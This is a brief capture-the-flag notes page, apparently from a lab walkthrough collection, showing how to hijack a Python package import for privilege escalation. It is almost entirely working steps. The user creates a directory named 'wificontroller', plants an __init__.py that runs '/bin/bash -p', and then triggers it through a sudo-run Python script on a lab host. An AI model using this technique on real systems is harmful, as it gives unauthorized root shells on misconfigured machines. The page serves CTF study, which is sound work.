> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/prog/python/hijack-python-package.md).

# Hijack Python Package

1. Create a directory with the same name as the package

```bash
www-data@walla:/home/walter$ mkdir wificontroller
```

2. Create an `__init__.py` file in the directory with your exploit code

```bash
www-data@walla:/home/walter$ cd wificontroller/
www-data@walla:/home/walter/wificontroller$ vi __init__.py
www-data@walla:/home/walter/wificontroller$ cat __init__.py 
#!/usr/bin/python

import os
os.system("/bin/bash -p")
```

3. Trigger execution of the package

```bash
www-data@walla:/home/walter/wificontroller$ sudo /usr/bin/python /home/walter/wifi_reset.py
```
